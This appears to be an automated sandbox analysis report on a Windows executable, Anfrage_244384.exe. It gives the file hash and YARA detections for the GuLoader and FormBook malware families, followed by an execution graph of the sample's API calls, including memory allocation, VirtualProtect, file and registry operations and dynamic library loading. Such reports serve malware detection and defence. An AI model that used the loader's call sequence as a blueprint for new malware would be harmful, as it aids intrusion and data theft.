                                                        Target ID:0
                                                        Start time:09:57:49
                                                        Start date:08/11/2024
                                                        Path:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\Anfrage_244384.exe"
                                                        Imagebase:0x400000
                                                        File size:1'240'824 bytes
                                                        MD5 hash:B03F23199AE987A7BCE0FF1A0D742E3E
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2549842058.00000000048C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:4
                                                        Start time:09:58:41
                                                        Start date:08/11/2024
                                                        Path:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\Anfrage_244384.exe"
                                                        Imagebase:0x400000
                                                        File size:1'240'824 bytes
                                                        MD5 hash:B03F23199AE987A7BCE0FF1A0D742E3E
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3033110868.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:low
                                                        Has exited:true

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:22.5%
                                                          Dynamic/Decrypted Code Coverage:14.3%
                                                          Signature Coverage:21.5%
                                                          Total number of Nodes:1472
                                                          Total number of Limit Nodes:46
                                                          execution_graph 4730 10001000 4733 1000101b 4730->4733 4740 100014bb 4733->4740 4735 10001020 4736 10001024 4735->4736 4737 10001027 GlobalAlloc 4735->4737 4738 100014e2 3 API calls 4736->4738 4737->4736 4739 10001019 4738->4739 4742 100014c1 4740->4742 4741 100014c7 4741->4735 4742->4741 4743 100014d3 GlobalFree 4742->4743 4743->4735 4744 402241 4745 402ace 18 API calls 4744->4745 4746 402247 4745->4746 4747 402ace 18 API calls 4746->4747 4748 402250 4747->4748 4749 402ace 18 API calls 4748->4749 4750 402259 4749->4750 4751 4060c7 2 API calls 4750->4751 4752 402262 4751->4752 4753 402273 lstrlenA lstrlenA 4752->4753 4757 402266 4752->4757 4755 404fdc 25 API calls 4753->4755 4754 404fdc 25 API calls 4758 40226e 4754->4758 4756 4022af SHFileOperationA 4755->4756 4756->4757 4756->4758 4757->4754 4759 4022c3 4760 4022ca 4759->4760 4762 4022dd 4759->4762 4761 405de5 18 API calls 4760->4761 4763 4022d7 4761->4763 4764 4055b9 MessageBoxIndirectA 4763->4764 4764->4762 4162 401746 4163 402ace 18 API calls 4162->4163 4164 40174d 4163->4164 4165 405a65 2 API calls 4164->4165 4166 401754 4165->4166 4167 405a65 2 API calls 4166->4167 4167->4166 4765 4026c7 4766 4026cd 4765->4766 4767 4026d5 FindClose 4766->4767 4768 40295e 4766->4768 4767->4768 4769 401947 4770 402ace 18 API calls 4769->4770 4771 40194e lstrlenA 4770->4771 4772 40258a 4771->4772 4773 402749 4774 402ace 18 API calls 4773->4774 4775 402757 4774->4775 4776 40276d 4775->4776 4778 402ace 18 API calls 4775->4778 4777 405a11 2 API calls 4776->4777 4779 402773 4777->4779 4778->4776 4801 405a36 GetFileAttributesA CreateFileA 4779->4801 4781 402780 4782 402823 4781->4782 4783 40278c GlobalAlloc 4781->4783 4786 40282b DeleteFileA 4782->4786 4787 40283e 4782->4787 4784 4027a5 4783->4784 4785 40281a CloseHandle 4783->4785 4802 40315b SetFilePointer 4784->4802 4785->4782 4786->4787 4789 4027ab 4790 403145 ReadFile 4789->4790 4791 4027b4 GlobalAlloc 4790->4791 4792 4027c4 4791->4792 4793 4027f8 4791->4793 4795 402f33 32 API calls 4792->4795 4794 405add WriteFile 4793->4794 4796 402804 GlobalFree 4794->4796 4798 4027d1 4795->4798 4797 402f33 32 API calls 4796->4797 4800 402817 4797->4800 4799 4027ef GlobalFree 4798->4799 4799->4793 4800->4785 4801->4781 4802->4789 4185 1000270b 4186 1000275b 4185->4186 4187 1000271b VirtualProtect 4185->4187 4187->4186 4806 1000180d 4807 10001830 4806->4807 4808 10001860 GlobalFree 4807->4808 4809 10001872 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 4807->4809 4808->4809 4810 10001266 2 API calls 4809->4810 4811 100019e3 GlobalFree GlobalFree 4810->4811 4812 4020cd 4813 402ace 18 API calls 4812->4813 4814 4020d4 4813->4814 4815 402ace 18 API calls 4814->4815 4816 4020de 4815->4816 4817 402ace 18 API calls 4816->4817 4818 4020e8 4817->4818 4819 402ace 18 API calls 4818->4819 4820 4020f2 4819->4820 4821 402ace 18 API calls 4820->4821 4822 4020fc 4821->4822 4823 40213b CoCreateInstance 4822->4823 4824 402ace 18 API calls 4822->4824 4825 402202 4823->4825 4828 40215a 4823->4828 4824->4823 4826 401423 25 API calls 4825->4826 4827 402238 4825->4827 4826->4827 4828->4825 4829 4021e2 MultiByteToWideChar 4828->4829 4829->4825 4198 404f50 4199 404f60 4198->4199 4200 404f74 4198->4200 4201 404f66 4199->4201 4202 404fbd 4199->4202 4203 404f7c IsWindowVisible 4200->4203 4209 404f9c 4200->4209 4205 403ff4 SendMessageA 4201->4205 4204 404fc2 CallWindowProcA 4202->4204 4203->4202 4206 404f89 4203->4206 4207 404f70 4204->4207 4205->4207 4212 4048a7 SendMessageA 4206->4212 4209->4204 4217 404927 4209->4217 4213 404906 SendMessageA 4212->4213 4214 4048ca GetMessagePos ScreenToClient SendMessageA 4212->4214 4216 4048fe 4213->4216 4215 404903 4214->4215 4214->4216 4215->4213 4216->4209 4226 405dc3 lstrcpynA 4217->4226 4219 40493a 4227 405d21 wsprintfA 4219->4227 4221 404944 4222 40140b 2 API calls 4221->4222 4223 40494d 4222->4223 4228 405dc3 lstrcpynA 4223->4228 4225 404954 4225->4202 4226->4219 4227->4221 4228->4225 4830 4028d2 4831 402aac 18 API calls 4830->4831 4832 4028d8 4831->4832 4833 40290d 4832->4833 4834 402729 4832->4834 4836 4028ea 4832->4836 4833->4834 4835 405de5 18 API calls 4833->4835 4835->4834 4836->4834 4838 405d21 wsprintfA 4836->4838 4838->4834 4245 4023d3 4246 4023d9 4245->4246 4247 402ace 18 API calls 4246->4247 4248 4023eb 4247->4248 4249 402ace 18 API calls 4248->4249 4250 4023f5 RegCreateKeyExA 4249->4250 4251 402729 4250->4251 4252 40241f 4250->4252 4253 402437 4252->4253 4255 402ace 18 API calls 4252->4255 4254 402443 4253->4254 4256 402aac 18 API calls 4253->4256 4257 402462 RegSetValueExA 4254->4257 4259 402f33 32 API calls 4254->4259 4258 402430 lstrlenA 4255->4258 4256->4254 4260 402478 RegCloseKey 4257->4260 4258->4253 4259->4257 4260->4251 4839 401cd4 4840 402aac 18 API calls 4839->4840 4841 401cda IsWindow 4840->4841 4842 401a0e 4841->4842 4262 403ad5 4263 403c28 4262->4263 4264 403aed 4262->4264 4266 403c79 4263->4266 4267 403c39 GetDlgItem GetDlgItem 4263->4267 4264->4263 4265 403af9 4264->4265 4269 403b04 SetWindowPos 4265->4269 4270 403b17 4265->4270 4268 403cd3 4266->4268 4279 401389 2 API calls 4266->4279 4271 403fa8 19 API calls 4267->4271 4272 403ff4 SendMessageA 4268->4272 4295 403c23 4268->4295 4269->4270 4273 403b34 4270->4273 4274 403b1c ShowWindow 4270->4274 4275 403c63 SetClassLongA 4271->4275 4306 403ce5 4272->4306 4276 403b56 4273->4276 4277 403b3c DestroyWindow 4273->4277 4274->4273 4278 40140b 2 API calls 4275->4278 4281 403b5b SetWindowLongA 4276->4281 4282 403b6c 4276->4282 4280 403f52 4277->4280 4278->4266 4283 403cab 4279->4283 4292 403f62 ShowWindow 4280->4292 4280->4295 4281->4295 4284 403c15 4282->4284 4285 403b78 GetDlgItem 4282->4285 4283->4268 4286 403caf SendMessageA 4283->4286 4342 40400f 4284->4342 4289 403ba8 4285->4289 4290 403b8b SendMessageA IsWindowEnabled 4285->4290 4286->4295 4287 40140b 2 API calls 4287->4306 4288 403f33 DestroyWindow EndDialog 4288->4280 4294 403bad 4289->4294 4296 403bb5 4289->4296 4298 403bfc SendMessageA 4289->4298 4299 403bc8 4289->4299 4290->4289 4290->4295 4292->4295 4293 405de5 18 API calls 4293->4306 4339 403f81 4294->4339 4296->4294 4296->4298 4298->4284 4301 403bd0 4299->4301 4302 403be5 4299->4302 4300 403be3 4300->4284 4305 40140b 2 API calls 4301->4305 4304 40140b 2 API calls 4302->4304 4303 403fa8 19 API calls 4303->4306 4307 403bec 4304->4307 4305->4294 4306->4287 4306->4288 4306->4293 4306->4295 4306->4303 4323 403e73 DestroyWindow 4306->4323 4333 403fa8 4306->4333 4307->4284 4307->4294 4309 403d60 GetDlgItem 4310 403d75 4309->4310 4311 403d7d ShowWindow KiUserCallbackDispatcher 4309->4311 4310->4311 4336 403fca EnableWindow 4311->4336 4313 403da7 EnableWindow 4316 403dbb 4313->4316 4314 403dc0 GetSystemMenu EnableMenuItem SendMessageA 4315 403df0 SendMessageA 4314->4315 4314->4316 4315->4316 4316->4314 4337 403fdd SendMessageA 4316->4337 4338 405dc3 lstrcpynA 4316->4338 4319 403e1e lstrlenA 4320 405de5 18 API calls 4319->4320 4321 403e2f SetWindowTextA 4320->4321 4322 401389 2 API calls 4321->4322 4322->4306 4323->4280 4324 403e8d CreateDialogParamA 4323->4324 4324->4280 4325 403ec0 4324->4325 4326 403fa8 19 API calls 4325->4326 4327 403ecb GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4326->4327 4328 401389 2 API calls 4327->4328 4329 403f11 4328->4329 4329->4295 4330 403f19 ShowWindow 4329->4330 4331 403ff4 SendMessageA 4330->4331 4332 403f31 4331->4332 4332->4280 4334 405de5 18 API calls 4333->4334 4335 403fb3 SetDlgItemTextA 4334->4335 4335->4309 4336->4313 4337->4316 4338->4319 4340 403f88 4339->4340 4341 403f8e SendMessageA 4339->4341 4340->4341 4341->4300 4343 4040b0 4342->4343 4344 404027 GetWindowLongA 4342->4344 4343->4295 4344->4343 4345 404038 4344->4345 4346 404047 GetSysColor 4345->4346 4347 40404a 4345->4347 4346->4347 4348 404050 SetTextColor 4347->4348 4349 40405a SetBkMode 4347->4349 4348->4349 4350 404072 GetSysColor 4349->4350 4351 404078 4349->4351 4350->4351 4352 404089 4351->4352 4353 40407f SetBkColor 4351->4353 4352->4343 4354 4040a3 CreateBrushIndirect 4352->4354 4355 40409c DeleteObject 4352->4355 4353->4352 4354->4343 4355->4354 4843 4014d6 4844 402aac 18 API calls 4843->4844 4845 4014dc Sleep 4844->4845 4847 40295e 4845->4847 4375 4025d7 4376 402aac 18 API calls 4375->4376 4381 4025e1 4376->4381 4377 40264f 4378 405aae ReadFile 4378->4381 4379 402651 4384 405d21 wsprintfA 4379->4384 4380 402661 4380->4377 4383 402677 SetFilePointer 4380->4383 4381->4377 4381->4378 4381->4379 4381->4380 4383->4377 4384->4377 4408 404959 GetDlgItem GetDlgItem 4409 4049ab 7 API calls 4408->4409 4416 404bc3 4408->4416 4410 404a41 SendMessageA 4409->4410 4411 404a4e DeleteObject 4409->4411 4410->4411 4412 404a57 4411->4412 4414 404a8e 4412->4414 4415 405de5 18 API calls 4412->4415 4413 404ca7 4419 404d53 4413->4419 4425 404f3b 4413->4425 4430 404d00 SendMessageA 4413->4430 4418 403fa8 19 API calls 4414->4418 4420 404a70 SendMessageA SendMessageA 4415->4420 4416->4413 4417 404c88 4416->4417 4423 404c23 4416->4423 4417->4413 4427 404c99 SendMessageA 4417->4427 4424 404aa2 4418->4424 4421 404d65 4419->4421 4422 404d5d SendMessageA 4419->4422 4420->4412 4432 404d77 ImageList_Destroy 4421->4432 4433 404d7e 4421->4433 4449 404d8e 4421->4449 4422->4421 4428 4048a7 5 API calls 4423->4428 4429 403fa8 19 API calls 4424->4429 4426 40400f 8 API calls 4425->4426 4431 404f49 4426->4431 4427->4413 4454 404c34 4428->4454 4434 404ab0 4429->4434 4430->4425 4436 404d15 SendMessageA 4430->4436 4432->4433 4437 404d87 GlobalFree 4433->4437 4433->4449 4438 404b84 GetWindowLongA SetWindowLongA 4434->4438 4445 404b7e 4434->4445 4448 404aff SendMessageA 4434->4448 4450 404b3b SendMessageA 4434->4450 4451 404b4c SendMessageA 4434->4451 4435 404efd 4435->4425 4440 404f0f ShowWindow GetDlgItem ShowWindow 4435->4440 4439 404d28 4436->4439 4437->4449 4441 404b9d 4438->4441 4444 404d39 SendMessageA 4439->4444 4440->4425 4442 404ba3 ShowWindow 4441->4442 4443 404bbb 4441->4443 4463 403fdd SendMessageA 4442->4463 4464 403fdd SendMessageA 4443->4464 4444->4419 4445->4438 4445->4441 4448->4434 4449->4435 4452 404927 4 API calls 4449->4452 4459 404dc9 4449->4459 4450->4434 4451->4434 4452->4459 4453 404bb6 4453->4425 4454->4417 4455 404ed3 InvalidateRect 4455->4435 4456 404ee9 4455->4456 4465 404862 4456->4465 4457 404df7 SendMessageA 4458 404e0d 4457->4458 4458->4455 4460 404e6e 4458->4460 4462 404e81 SendMessageA SendMessageA 4458->4462 4459->4457 4459->4458 4460->4462 4462->4458 4463->4453 4464->4416 4468 40479d 4465->4468 4467 404877 4467->4435 4469 4047b3 4468->4469 4470 405de5 18 API calls 4469->4470 4471 404817 4470->4471 4472 405de5 18 API calls 4471->4472 4473 404822 4472->4473 4474 405de5 18 API calls 4473->4474 4475 404838 lstrlenA wsprintfA SetDlgItemTextA 4474->4475 4475->4467 4476 401759 4477 402ace 18 API calls 4476->4477 4478 401760 4477->4478 4479 401786 4478->4479 4480 40177e 4478->4480 4517 405dc3 lstrcpynA 4479->4517 4516 405dc3 lstrcpynA 4480->4516 4483 401784 4487 40602e 5 API calls 4483->4487 4484 401791 4485 405835 3 API calls 4484->4485 4486 401797 lstrcatA 4485->4486 4486->4483 4509 4017a3 4487->4509 4488 4060c7 2 API calls 4488->4509 4489 4017e4 4490 405a11 2 API calls 4489->4490 4490->4509 4492 4017ba CompareFileTime 4492->4509 4493 40187e 4495 404fdc 25 API calls 4493->4495 4494 401855 4496 404fdc 25 API calls 4494->4496 4503 40186a 4494->4503 4497 401888 4495->4497 4496->4503 4498 402f33 32 API calls 4497->4498 4499 40189b 4498->4499 4500 4018af SetFileTime 4499->4500 4502 4018c1 CloseHandle 4499->4502 4500->4502 4501 405de5 18 API calls 4501->4509 4502->4503 4504 4018d2 4502->4504 4506 4018d7 4504->4506 4507 4018ea 4504->4507 4505 405dc3 lstrcpynA 4505->4509 4510 405de5 18 API calls 4506->4510 4508 405de5 18 API calls 4507->4508 4511 4018f2 4508->4511 4509->4488 4509->4489 4509->4492 4509->4493 4509->4494 4509->4501 4509->4505 4512 4055b9 MessageBoxIndirectA 4509->4512 4515 405a36 GetFileAttributesA CreateFileA 4509->4515 4513 4018df lstrcatA 4510->4513 4514 4055b9 MessageBoxIndirectA 4511->4514 4512->4509 4513->4511 4514->4503 4515->4509 4516->4483 4517->4484 4848 401659 4849 402ace 18 API calls 4848->4849 4850 40165f 4849->4850 4851 4060c7 2 API calls 4850->4851 4852 401665 4851->4852 4853 401e59 4854 402ace 18 API calls 4853->4854 4855 401e5f 4854->4855 4856 402ace 18 API calls 4855->4856 4857 401e68 4856->4857 4858 402ace 18 API calls 4857->4858 4859 401e71 4858->4859 4860 402ace 18 API calls 4859->4860 4861 401e7a 4860->4861 4862 401423 25 API calls 4861->4862 4863 401e81 ShellExecuteA 4862->4863 4864 401eae 4863->4864 4865 401959 4866 402aac 18 API calls 4865->4866 4867 401960 4866->4867 4868 402aac 18 API calls 4867->4868 4869 40196d 4868->4869 4870 402ace 18 API calls 4869->4870 4871 401984 lstrlenA 4870->4871 4872 401994 4871->4872 4873 4019d4 4872->4873 4877 405dc3 lstrcpynA 4872->4877 4875 4019c4 4875->4873 4876 4019c9 lstrlenA 4875->4876 4876->4873 4877->4875 4878 1000161a 4879 10001649 4878->4879 4880 10001a5d 18 API calls 4879->4880 4881 10001650 4880->4881 4882 10001663 4881->4882 4883 10001657 4881->4883 4885 1000168a 4882->4885 4886 1000166d 4882->4886 4884 10001266 2 API calls 4883->4884 4889 10001661 4884->4889 4887 10001690 4885->4887 4888 100016b4 4885->4888 4890 100014e2 3 API calls 4886->4890 4891 10001559 3 API calls 4887->4891 4892 100014e2 3 API calls 4888->4892 4893 10001672 4890->4893 4894 10001695 4891->4894 4892->4889 4895 10001559 3 API calls 4893->4895 4896 10001266 2 API calls 4894->4896 4897 10001678 4895->4897 4899 1000169b GlobalFree 4896->4899 4898 10001266 2 API calls 4897->4898 4900 1000167e GlobalFree 4898->4900 4899->4889 4901 100016af GlobalFree 4899->4901 4900->4889 4901->4889 4902 401b5d 4903 401bae 4902->4903 4907 401b6a 4902->4907 4904 401bd7 GlobalAlloc 4903->4904 4905 401bb2 4903->4905 4906 405de5 18 API calls 4904->4906 4916 4022dd 4905->4916 4923 405dc3 lstrcpynA 4905->4923 4910 401bf2 4906->4910 4907->4910 4911 401b81 4907->4911 4908 405de5 18 API calls 4912 4022d7 4908->4912 4910->4908 4910->4916 4921 405dc3 lstrcpynA 4911->4921 4915 4055b9 MessageBoxIndirectA 4912->4915 4913 401bc4 GlobalFree 4913->4916 4915->4916 4917 401b90 4922 405dc3 lstrcpynA 4917->4922 4919 401b9f 4924 405dc3 lstrcpynA 4919->4924 4921->4917 4922->4919 4923->4913 4924->4916 4925 401f5d 4926 402ace 18 API calls 4925->4926 4927 401f64 4926->4927 4928 40615c 5 API calls 4927->4928 4929 401f73 4928->4929 4930 401f8b GlobalAlloc 4929->4930 4939 401ff3 4929->4939 4931 401f9f 4930->4931 4930->4939 4932 40615c 5 API calls 4931->4932 4933 401fa6 4932->4933 4934 40615c 5 API calls 4933->4934 4935 401fb0 4934->4935 4935->4939 4940 405d21 wsprintfA 4935->4940 4937 401fe7 4941 405d21 wsprintfA 4937->4941 4940->4937 4941->4939 4942 401a5e 4943 402aac 18 API calls 4942->4943 4944 401a64 4943->4944 4945 402aac 18 API calls 4944->4945 4946 401a0e 4945->4946 4947 4026e1 4948 4026e7 4947->4948 4949 4026eb FindNextFileA 4948->4949 4951 4026fd 4948->4951 4950 40273c 4949->4950 4949->4951 4953 405dc3 lstrcpynA 4950->4953 4953->4951 4954 4043e6 4955 404412 4954->4955 4956 404423 4954->4956 5015 40559d GetDlgItemTextA 4955->5015 4958 40442f GetDlgItem 4956->4958 4965 40448e 4956->4965 4961 404443 4958->4961 4959 404572 4964 40471c 4959->4964 5017 40559d GetDlgItemTextA 4959->5017 4960 40441d 4962 40602e 5 API calls 4960->4962 4963 404457 SetWindowTextA 4961->4963 4967 4058ce 4 API calls 4961->4967 4962->4956 4968 403fa8 19 API calls 4963->4968 4971 40400f 8 API calls 4964->4971 4965->4959 4965->4964 4969 405de5 18 API calls 4965->4969 4973 40444d 4967->4973 4974 404473 4968->4974 4975 404502 SHBrowseForFolderA 4969->4975 4970 4045a2 4976 405923 18 API calls 4970->4976 4972 404730 4971->4972 4973->4963 4980 405835 3 API calls 4973->4980 4977 403fa8 19 API calls 4974->4977 4975->4959 4978 40451a CoTaskMemFree 4975->4978 4979 4045a8 4976->4979 4981 404481 4977->4981 4982 405835 3 API calls 4978->4982 5018 405dc3 lstrcpynA 4979->5018 4980->4963 5016 403fdd SendMessageA 4981->5016 4984 404527 4982->4984 4987 40455e SetDlgItemTextA 4984->4987 4991 405de5 18 API calls 4984->4991 4986 404487 4989 40615c 5 API calls 4986->4989 4987->4959 4988 4045bf 4990 40615c 5 API calls 4988->4990 4989->4965 4997 4045c6 4990->4997 4992 404546 lstrcmpiA 4991->4992 4992->4987 4995 404557 lstrcatA 4992->4995 4993 404602 5019 405dc3 lstrcpynA 4993->5019 4995->4987 4996 404609 4998 4058ce 4 API calls 4996->4998 4997->4993 5001 40587c 2 API calls 4997->5001 5003 40465a 4997->5003 4999 40460f GetDiskFreeSpaceA 4998->4999 5002 404633 MulDiv 4999->5002 4999->5003 5001->4997 5002->5003 5004 4046cb 5003->5004 5006 404862 21 API calls 5003->5006 5005 4046ee 5004->5005 5007 40140b 2 API calls 5004->5007 5020 403fca EnableWindow 5005->5020 5008 4046b8 5006->5008 5007->5005 5010 4046cd SetDlgItemTextA 5008->5010 5011 4046bd 5008->5011 5010->5004 5013 40479d 21 API calls 5011->5013 5012 40470a 5012->4964 5021 40437b 5012->5021 5013->5004 5015->4960 5016->4986 5017->4970 5018->4988 5019->4996 5020->5012 5022 404389 5021->5022 5023 40438e SendMessageA 5021->5023 5022->5023 5023->4964 4168 40166a 4169 402ace 18 API calls 4168->4169 4170 401671 4169->4170 4171 402ace 18 API calls 4170->4171 4172 40167a 4171->4172 4173 402ace 18 API calls 4172->4173 4174 401683 MoveFileA 4173->4174 4175 401696 4174->4175 4181 40168f 4174->4181 4177 4060c7 2 API calls 4175->4177 4179 402238 4175->4179 4178 4016a5 4177->4178 4178->4179 4180 405c7e 38 API calls 4178->4180 4180->4181 4182 401423 4181->4182 4183 404fdc 25 API calls 4182->4183 4184 401431 4183->4184 4184->4179 5024 4019ed 5025 402ace 18 API calls 5024->5025 5026 4019f4 5025->5026 5027 402ace 18 API calls 5026->5027 5028 4019fd 5027->5028 5029 401a04 lstrcmpiA 5028->5029 5030 401a16 lstrcmpA 5028->5030 5031 401a0a 5029->5031 5030->5031 5032 40256e 5033 402ace 18 API calls 5032->5033 5034 402575 5033->5034 5037 405a36 GetFileAttributesA CreateFileA 5034->5037 5036 402581 5037->5036 5038 4040f1 5039 404107 5038->5039 5043 404213 5038->5043 5041 403fa8 19 API calls 5039->5041 5040 404282 5042 40428c GetDlgItem 5040->5042 5044 404356 5040->5044 5045 40415d 5041->5045 5046 4042a2 5042->5046 5047 404314 5042->5047 5043->5040 5043->5044 5048 404257 GetDlgItem SendMessageA 5043->5048 5049 40400f 8 API calls 5044->5049 5050 403fa8 19 API calls 5045->5050 5046->5047 5055 4042c8 6 API calls 5046->5055 5047->5044 5051 404326 5047->5051 5069 403fca EnableWindow 5048->5069 5053 404351 5049->5053 5054 40416a CheckDlgButton 5050->5054 5056 40432c SendMessageA 5051->5056 5057 40433d 5051->5057 5067 403fca EnableWindow 5054->5067 5055->5047 5056->5057 5057->5053 5060 404343 SendMessageA 5057->5060 5058 40427d 5061 40437b SendMessageA 5058->5061 5060->5053 5061->5040 5062 404188 GetDlgItem 5068 403fdd SendMessageA 5062->5068 5064 40419e SendMessageA 5065 4041c5 SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5064->5065 5066 4041bc GetSysColor 5064->5066 5065->5053 5066->5065 5067->5062 5068->5064 5069->5058 4229 4022f2 4230 4022fa 4229->4230 4235 402300 4229->4235 4231 402ace 18 API calls 4230->4231 4231->4235 4232 402ace 18 API calls 4234 402310 4232->4234 4233 40231e 4237 402ace 18 API calls 4233->4237 4234->4233 4236 402ace 18 API calls 4234->4236 4235->4232 4235->4234 4236->4233 4238 402327 WritePrivateProfileStringA 4237->4238 5070 100015b3 5071 100014bb GlobalFree 5070->5071 5073 100015cb 5071->5073 5072 10001611 GlobalFree 5073->5072 5074 100015e6 5073->5074 5075 100015fd VirtualFree 5073->5075 5074->5072 5075->5072 5076 4014f4 SetForegroundWindow 5077 40295e 5076->5077 4356 4024f5 4357 402bd8 19 API calls 4356->4357 4358 4024ff 4357->4358 4359 402aac 18 API calls 4358->4359 4360 402508 4359->4360 4361 402523 RegEnumKeyA 4360->4361 4362 40252f RegEnumValueA 4360->4362 4364 402729 4360->4364 4363 402548 RegCloseKey 4361->4363 4362->4363 4362->4364 4363->4364 5078 401cf5 5079 402aac 18 API calls 5078->5079 5080 401cfc 5079->5080 5081 402aac 18 API calls 5080->5081 5082 401d08 GetDlgItem 5081->5082 5083 40258a 5082->5083 4385 402377 4386 4023a7 4385->4386 4387 40237c 4385->4387 4389 402ace 18 API calls 4386->4389 4388 402bd8 19 API calls 4387->4388 4390 402383 4388->4390 4391 4023ae 4389->4391 4392 40238d 4390->4392 4396 4023c4 4390->4396 4397 402b0e RegOpenKeyExA 4391->4397 4393 402ace 18 API calls 4392->4393 4395 402394 RegDeleteValueA RegCloseKey 4393->4395 4395->4396 4398 402ba2 4397->4398 4406 402b39 4397->4406 4398->4396 4399 402b5f RegEnumKeyA 4400 402b71 RegCloseKey 4399->4400 4399->4406 4401 40615c 5 API calls 4400->4401 4404 402b81 4401->4404 4402 402b96 RegCloseKey 4405 402b85 4402->4405 4403 402b0e 5 API calls 4403->4406 4404->4405 4407 402bb1 RegDeleteKeyA 4404->4407 4405->4398 4406->4399 4406->4400 4406->4402 4406->4403 4407->4405 5084 1000103d 5085 1000101b 5 API calls 5084->5085 5086 10001056 5085->5086 5087 4018fd 5088 401934 5087->5088 5089 402ace 18 API calls 5088->5089 5090 401939 5089->5090 5091 405665 69 API calls 5090->5091 5092 401942 5091->5092 4548 401fff 4549 402011 4548->4549 4550 4020bf 4548->4550 4551 402ace 18 API calls 4549->4551 4552 401423 25 API calls 4550->4552 4553 402018 4551->4553 4558 402238 4552->4558 4554 402ace 18 API calls 4553->4554 4555 402021 4554->4555 4556 402036 LoadLibraryExA 4555->4556 4557 402029 GetModuleHandleA 4555->4557 4556->4550 4559 402046 GetProcAddress 4556->4559 4557->4556 4557->4559 4560 402092 4559->4560 4561 402055 4559->4561 4564 404fdc 25 API calls 4560->4564 4562 402074 4561->4562 4563 40205d 4561->4563 4569 100016bd 4562->4569 4565 401423 25 API calls 4563->4565 4566 402065 4564->4566 4565->4566 4566->4558 4567 4020b3 FreeLibrary 4566->4567 4567->4558 4570 100016ed 4569->4570 4611 10001a5d 4570->4611 4572 100016f4 4573 1000180a 4572->4573 4574 10001705 4572->4574 4575 1000170c 4572->4575 4573->4566 4660 100021b0 4574->4660 4643 100021fa 4575->4643 4580 10001770 4586 100017b2 4580->4586 4587 10001776 4580->4587 4581 10001752 4673 100023da 4581->4673 4582 10001722 4585 10001728 4582->4585 4591 10001733 4582->4591 4583 1000173b 4596 10001731 4583->4596 4670 10002aa3 4583->4670 4585->4596 4654 100027e8 4585->4654 4589 100023da 11 API calls 4586->4589 4593 10001559 3 API calls 4587->4593 4594 100017a4 4589->4594 4590 10001758 4684 10001559 4590->4684 4664 10002589 4591->4664 4598 1000178c 4593->4598 4610 100017f9 4594->4610 4695 100023a0 4594->4695 4596->4580 4596->4581 4601 100023da 11 API calls 4598->4601 4600 10001739 4600->4596 4601->4594 4603 10001803 GlobalFree 4603->4573 4607 100017e5 4607->4610 4699 100014e2 wsprintfA 4607->4699 4608 100017de FreeLibrary 4608->4607 4610->4573 4610->4603 4702 10001215 GlobalAlloc 4611->4702 4613 10001a81 4703 10001215 GlobalAlloc 4613->4703 4615 10001cbb GlobalFree GlobalFree GlobalFree 4616 10001cd8 4615->4616 4632 10001d22 4615->4632 4617 1000201a 4616->4617 4625 10001ced 4616->4625 4616->4632 4619 1000203c GetModuleHandleA 4617->4619 4617->4632 4618 10001b60 GlobalAlloc 4640 10001a8c 4618->4640 4620 10002062 4619->4620 4621 1000204d LoadLibraryA 4619->4621 4710 100015a4 GetProcAddress 4620->4710 4621->4620 4621->4632 4622 10001bab lstrcpyA 4626 10001bb5 lstrcpyA 4622->4626 4623 10001bc9 GlobalFree 4623->4640 4625->4632 4706 10001224 4625->4706 4626->4640 4627 100020b3 4628 100020c0 lstrlenA 4627->4628 4627->4632 4711 100015a4 GetProcAddress 4628->4711 4630 10001f7a 4631 10001fbe lstrcpyA 4630->4631 4630->4632 4631->4632 4632->4572 4633 10002074 4633->4627 4642 1000209d GetProcAddress 4633->4642 4636 10001c07 4636->4640 4704 10001534 GlobalSize GlobalAlloc 4636->4704 4637 10001e75 GlobalFree 4637->4640 4638 100020d9 4638->4632 4640->4615 4640->4618 4640->4622 4640->4623 4640->4626 4640->4630 4640->4632 4640->4636 4640->4637 4641 10001224 2 API calls 4640->4641 4709 10001215 GlobalAlloc 4640->4709 4641->4640 4642->4627 4645 10002212 4643->4645 4644 10001224 GlobalAlloc lstrcpynA 4644->4645 4645->4644 4647 10002349 GlobalFree 4645->4647 4648 100022b9 GlobalAlloc MultiByteToWideChar 4645->4648 4649 1000230a lstrlenA 4645->4649 4713 100012ad 4645->4713 4647->4645 4650 10001712 4647->4650 4651 10002303 4648->4651 4652 100022e3 GlobalAlloc CLSIDFromString GlobalFree 4648->4652 4649->4647 4649->4651 4650->4582 4650->4583 4650->4596 4651->4647 4717 1000251d 4651->4717 4652->4647 4656 100027fa 4654->4656 4655 1000289f VirtualAlloc 4657 100028bd 4655->4657 4656->4655 4658 100029b9 4657->4658 4659 100029ae GetLastError 4657->4659 4658->4596 4659->4658 4661 100021c0 4660->4661 4663 1000170b 4660->4663 4662 100021d2 GlobalAlloc 4661->4662 4661->4663 4662->4661 4663->4575 4668 100025a5 4664->4668 4665 100025f6 GlobalAlloc 4669 10002618 4665->4669 4666 10002609 4667 1000260e GlobalSize 4666->4667 4666->4669 4667->4669 4668->4665 4668->4666 4669->4600 4671 10002aae 4670->4671 4672 10002aee GlobalFree 4671->4672 4720 10001215 GlobalAlloc 4673->4720 4675 100023e6 4676 1000243a lstrcpynA 4675->4676 4677 1000244b StringFromGUID2 WideCharToMultiByte 4675->4677 4678 1000246f WideCharToMultiByte 4675->4678 4679 10002490 wsprintfA 4675->4679 4680 100024b4 GlobalFree 4675->4680 4681 100024ee GlobalFree 4675->4681 4682 10001266 2 API calls 4675->4682 4721 100012d1 4675->4721 4676->4675 4677->4675 4678->4675 4679->4675 4680->4675 4681->4590 